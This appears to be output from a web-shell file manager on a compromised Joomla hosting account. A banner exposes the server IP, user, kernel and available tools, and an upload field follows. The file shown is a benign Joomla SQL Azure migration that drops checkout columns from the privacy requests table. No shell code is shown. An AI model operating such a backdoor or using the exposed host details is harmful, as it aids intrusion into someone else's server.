Done !
| Server IP : 46.105.57.169 / Your IP : 216.73.216.67 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/www/administrator/components/com_admin/sql/updates/sqlazure/ |
Upload File : |
-- Drop default values DECLARE @table AS nvarchar(100) DECLARE @constraintName AS nvarchar(100) DECLARE @constraintQuery AS nvarchar(1000) SET QUOTED_IDENTIFIER OFF SET @table = "#__privacy_requests" SET QUOTED_IDENTIFIER ON -- Drop default value from checked_out SELECT @constraintName = name FROM sys.default_constraints WHERE parent_object_id = object_id(@table) AND parent_column_id = columnproperty(object_id(@table), 'checked_out', 'ColumnId') SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']' EXECUTE sp_executesql @constraintQuery -- Drop default value from checked_out_time SELECT @constraintName = name FROM sys.default_constraints WHERE parent_object_id = object_id(@table) AND parent_column_id = columnproperty(object_id(@table), 'checked_out_time', 'ColumnId') SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']' EXECUTE sp_executesql @constraintQuery; DROP INDEX "idx_checkout" ON "#__privacy_requests"; ALTER TABLE "#__privacy_requests" DROP COLUMN "checked_out"; ALTER TABLE "#__privacy_requests" DROP COLUMN "checked_out_time";